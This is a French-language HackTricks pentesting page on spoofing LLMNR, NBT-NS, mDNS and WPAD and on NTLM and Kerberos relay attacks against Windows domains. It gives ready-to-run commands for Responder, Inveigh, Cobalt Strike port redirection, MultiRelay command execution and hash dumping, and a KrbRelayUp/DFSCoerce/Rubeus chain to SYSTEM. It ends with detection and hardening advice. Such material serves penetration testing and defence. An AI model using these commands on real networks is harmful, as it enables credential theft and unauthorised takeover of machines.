Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et Attaques de Relay

Reading time: 12 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Protocoles Réseau

Protocoles de Résolution de Nom Local

  • LLMNR, NBT-NS, et mDNS :
  • Microsoft et d'autres systĂšmes d'exploitation utilisent LLMNR et NBT-NS pour la rĂ©solution de noms locaux lorsque DNS Ă©choue. De mĂȘme, les systĂšmes Apple et Linux utilisent mDNS.
  • Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature non authentifiĂ©e et de diffusion sur UDP.
  • Responder peut ĂȘtre utilisĂ© pour usurper des services en envoyant des rĂ©ponses falsifiĂ©es aux hĂŽtes interrogeant ces protocoles.
  • Des informations supplĂ©mentaires sur l'usurpation de services utilisant Responder peuvent ĂȘtre trouvĂ©es ici.

Protocole de Découverte Automatique de Proxy Web (WPAD)

  • WPAD permet aux navigateurs de dĂ©couvrir automatiquement les paramĂštres de proxy.
  • La dĂ©couverte est facilitĂ©e via DHCP, DNS, ou un retour Ă  LLMNR et NBT-NS si DNS Ă©choue.
  • Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants.

Responder pour le Poisoning de Protocole

  • Responder est un outil utilisĂ© pour empoisonner les requĂȘtes LLMNR, NBT-NS, et mDNS, rĂ©pondant sĂ©lectivement en fonction des types de requĂȘtes, ciblant principalement les services SMB.
  • Il est prĂ©installĂ© dans Kali Linux, configurable Ă  /etc/responder/Responder.conf.
  • Responder affiche les hachages capturĂ©s Ă  l'Ă©cran et les enregistre dans le rĂ©pertoire /usr/share/responder/logs.
  • Il prend en charge Ă  la fois IPv4 et IPv6.
  • La version Windows de Responder est disponible ici.

Exécution de Responder

  • Pour exĂ©cuter Responder avec les paramĂštres par dĂ©faut : responder -I <Interface>
  • Pour un probing plus agressif (avec des effets secondaires potentiels) : responder -I <Interface> -P -r -v
  • Techniques pour capturer les dĂ©fis/rĂ©ponses NTLMv1 pour un craquage plus facile : responder -I <Interface> --lm --disable-ess
  • L'usurpation WPAD peut ĂȘtre activĂ©e avec : responder -I <Interface> --wpad
  • Les requĂȘtes NetBIOS peuvent ĂȘtre rĂ©solues Ă  l'IP de l'attaquant, et un proxy d'authentification peut ĂȘtre mis en place : responder.py -I <interface> -Pv

Poisoning DHCP avec Responder

  • Le spoofing des rĂ©ponses DHCP peut empoisonner de maniĂšre permanente les informations de routage d'une victime, offrant une alternative plus discrĂšte au poisoning ARP.
  • Cela nĂ©cessite une connaissance prĂ©cise de la configuration du rĂ©seau cible.
  • ExĂ©cution de l'attaque : ./Responder.py -I eth0 -Pdv
  • Cette mĂ©thode peut capturer efficacement les hachages NTLMv1/2, mais nĂ©cessite une manipulation soigneuse pour Ă©viter toute perturbation du rĂ©seau.

Capture de Credentials avec Responder

  • Responder usurpera des services en utilisant les protocoles mentionnĂ©s ci-dessus, capturant des credentials (gĂ©nĂ©ralement NTLMv2 Challenge/RĂ©ponse) lorsqu'un utilisateur tente de s'authentifier contre les services usurpĂ©s.
  • Des tentatives peuvent ĂȘtre faites pour rĂ©trograder Ă  NetNTLMv1 ou dĂ©sactiver ESS pour un craquage de credentials plus facile.

Il est crucial de noter que l'utilisation de ces techniques doit ĂȘtre effectuĂ©e lĂ©galement et Ă©thiquement, en s'assurant d'une autorisation appropriĂ©e et en Ă©vitant toute perturbation ou accĂšs non autorisĂ©.

Inveigh

Inveigh est un outil pour les testeurs de pĂ©nĂ©tration et les Ă©quipes rouges, conçu pour les systĂšmes Windows. Il offre des fonctionnalitĂ©s similaires Ă  Responder, effectuant des attaques de spoofing et de man-in-the-middle. L'outil a Ă©voluĂ© d'un script PowerShell Ă  un binaire C#, avec Inveigh et InveighZero comme versions principales. Des paramĂštres dĂ©taillĂ©s et des instructions peuvent ĂȘtre trouvĂ©s dans le wiki.

Inveigh peut ĂȘtre utilisĂ© via PowerShell :

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou exécuté en tant que binaire C#:

bash
Inveigh.exe

NTLM Relay Attack

Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, accordant un shell systÚme si elle réussit. Les prérequis clés incluent :

  • L'utilisateur authentifiĂ© doit avoir un accĂšs Admin Local sur l'hĂŽte relayĂ©.
  • La signature SMB doit ĂȘtre dĂ©sactivĂ©e.

445 Port Forwarding and Tunneling

Dans les scĂ©narios oĂč l'introduction directe dans le rĂ©seau n'est pas faisable, le trafic sur le port 445 doit ĂȘtre redirigĂ© et tunnelĂ©. Des outils comme PortBender aident Ă  rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accĂšs admin local est disponible pour le chargement de pilotes.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Autres Outils pour l'Attaque de Relais NTLM

  • Metasploit : ConfigurĂ© avec des proxies, des dĂ©tails sur les hĂŽtes locaux et distants.
  • smbrelayx : Un script Python pour relayer les sessions SMB et exĂ©cuter des commandes ou dĂ©ployer des portes dĂ©robĂ©es.
  • MultiRelay : Un outil de la suite Responder pour relayer des utilisateurs spĂ©cifiques ou tous les utilisateurs, exĂ©cuter des commandes ou extraire des hachages.

Chaque outil peut ĂȘtre configurĂ© pour fonctionner via un proxy SOCKS si nĂ©cessaire, permettant des attaques mĂȘme avec un accĂšs rĂ©seau indirect.

Fonctionnement de MultiRelay

MultiRelay est exécuté depuis le /usr/share/responder/tools répertoire, ciblant des IP ou des utilisateurs spécifiques.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Ces outils et techniques forment un ensemble complet pour mener des attaques de relais NTLM dans divers environnements réseau.

Forcer les connexions NTLM

Sous Windows, vous pouvez ĂȘtre en mesure de forcer certains comptes privilĂ©giĂ©s Ă  s'authentifier sur des machines arbitraires. Lisez la page suivante pour apprendre comment :

Force NTLM Privileged Authentication

Attaque de relais Kerberos

Une attaque de relais Kerberos vole un ticket AP-REQ d'un service et le rĂ©utilise contre un second service qui partage la mĂȘme clĂ© de compte d'ordinateur (car les deux SPN se trouvent sur le mĂȘme compte d'ordinateur $). Cela fonctionne mĂȘme si les classes de service des SPN diffĂšrent (par exemple, CIFS/ → LDAP/) car la clĂ© qui dĂ©chiffre le ticket est le hachage NT de la machine, et non la chaĂźne SPN elle-mĂȘme, et la chaĂźne SPN ne fait pas partie de la signature.

Contrairement au relais NTLM, le saut est limitĂ© Ă  la mĂȘme hĂŽte, mais si vous ciblez un protocole qui vous permet d'Ă©crire sur LDAP, vous pouvez enchaĂźner vers la DĂ©lĂ©gation Contraignante BasĂ©e sur les Ressources (RBCD) ou l'enrĂŽlement AD CS et obtenir NT AUTHORITY\SYSTEM en un seul coup.

Pour des informations détaillées sur cette attaque, consultez :

TokenButPertinence du relais
TGT / AS-REQ ↔ REPProuve l'utilisateur au KDCintact
Ticket de service / TGS-REQ ↔ REPLiĂ© Ă  un SPN ; chiffrĂ© avec la clĂ© du propriĂ©taire du SPNinterchangeable si les SPN partagent le compte
AP-REQLe client envoie TGS au servicece que nous volons et rejouons
  • Les tickets sont chiffrĂ©s avec la clĂ© dĂ©rivĂ©e du mot de passe du compte qui possĂšde le SPN.
  • L'Authentificateur Ă  l'intĂ©rieur de l'AP-REQ a un horodatage de 5 minutes ; la relecture Ă  l'intĂ©rieur de cette fenĂȘtre est valide jusqu'Ă  ce que le cache de service voie un duplicata.
  • Windows vĂ©rifie rarement si la chaĂźne SPN dans le ticket correspond au service que vous atteignez, donc un ticket pour CIFS/HOST se dĂ©chiffre normalement bien sur LDAP/HOST.
    1. Ce qui doit ĂȘtre vrai pour relayer Kerberos
  1. ClĂ© partagĂ©e : les SPN source et cible appartiennent au mĂȘme compte d'ordinateur (par dĂ©faut sur les serveurs Windows).
  2. Pas de protection de canal : SMB/LDAP désactivé et EPA désactivé pour HTTP/LDAPS.
  3. Vous pouvez intercepter ou contraindre l'authentification : poison LLMNR/NBNS, spoof DNS, PetitPotam / DFSCoerce RPC, faux AuthIP, DCOM malveillant, etc.
  4. Source du ticket non dĂ©jĂ  utilisĂ©e : vous gagnez la course avant que le vrai paquet n'atteigne ou le bloquez entiĂšrement ; sinon, le cache de relecture du serveur dĂ©clenche l'ÉvĂ©nement 4649.
  5. Vous devez d'une maniĂšre ou d'une autre ĂȘtre capable d'effectuer un MitM dans la communication, peut-ĂȘtre en faisant partie du groupe DNSAmins pour modifier le DNS du domaine ou en Ă©tant capable de changer le fichier HOST de la victime.

Étapes de relais Kerberos

  • 3.1 ReconnaĂźtre l'hĂŽte
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 DĂ©marrer l'Ă©couteur de relais

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp encapsule KrbRelay → LDAP → RBCD → Rubeus → contournement SCM dans un seul binaire.

  • 3.3 Forcer l'authentification Kerberos
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce fait en sorte que le DC nous envoie un ticket Kerberos CIFS/DC01.

  • 3.4 Relayer l'AP-REQ

KrbRelay extrait le blob GSS de SMB, le reconditionne en un bind LDAP et le transfĂšre Ă  ldap://DC01—l'authentification rĂ©ussit car la mĂȘme clĂ© le dĂ©chiffre.

  • 3.5 Abuser de LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Vous possédez maintenant NT AUTHORITY\SYSTEM.

D'autres chemins Ă  connaĂźtre

VecteurAstucePourquoi c'est important
AuthIP / IPSecUn faux serveur envoie une charge utile GSS-ID avec n'importe quel SPN ; le client construit un AP-REQ directement vers vousFonctionne mĂȘme Ă  travers des sous-rĂ©seaux ; les identifiants de machine par dĂ©faut
DCOM / MSRPCUn rĂ©solveur OXID malveillant force le client Ă  s'authentifier Ă  un SPN et un port arbitrairesÉlĂ©vation de privilĂšges locale pure ; contourne le pare-feu
AD CS Web EnrollRelayer le ticket machine vers HTTP/CA et obtenir un certificat, puis PKINIT pour créer des TGTContourne les défenses de signature LDAP
Shadow CredentialsÉcrire msDS-KeyCredentialLink, puis PKINIT avec une paire de clĂ©s forgĂ©ePas besoin d'ajouter un compte d'ordinateur

Dépannage

ErreurSignificationCorrection
KRB_AP_ERR_MODIFIEDClĂ© de ticket ≠ clĂ© cibleMauvais hĂŽte/SPN
KRB_AP_ERR_SKEWHorloge > 5 min de décalageSynchroniser l'heure ou utiliser w32tm
Échec de liaison LDAPSignature appliquĂ©eUtiliser le chemin AD CS ou dĂ©sactiver la signature
Spam d'événement 4649Le service a vu un Authenticator en doublebloquer ou faire la course avec le paquet original

Détection

  • Augmentation de l'Ă©vĂ©nement 4769 pour CIFS/, HTTP/, LDAP/ provenant de la mĂȘme source en quelques secondes.
  • L'Ă©vĂ©nement 4649 sur le service indique qu'un replay a Ă©tĂ© dĂ©tectĂ©.
  • Une connexion Kerberos depuis 127.0.0.1 (relai vers SCM local) est trĂšs suspecte—cartographier via la rĂšgle Sigma dans la documentation de KrbRelayUp.
  • Surveiller les changements des attributs msDS-AllowedToActOnBehalfOfOtherIdentity ou msDS-KeyCredentialLink.

Renforcement

  1. Appliquer la signature LDAP & SMB + EPA sur chaque serveur.
  2. SĂ©parer les SPNs afin que HTTP ne soit pas sur le mĂȘme compte que CIFS/LDAP.
  3. Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
  4. DĂ©finir ms-DS-MachineAccountQuota = 0 pour arrĂȘter les ajouts de machines non autorisĂ©es.
  5. Alerter sur l'événement 4649 et les connexions Kerberos de boucle locale inattendues.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks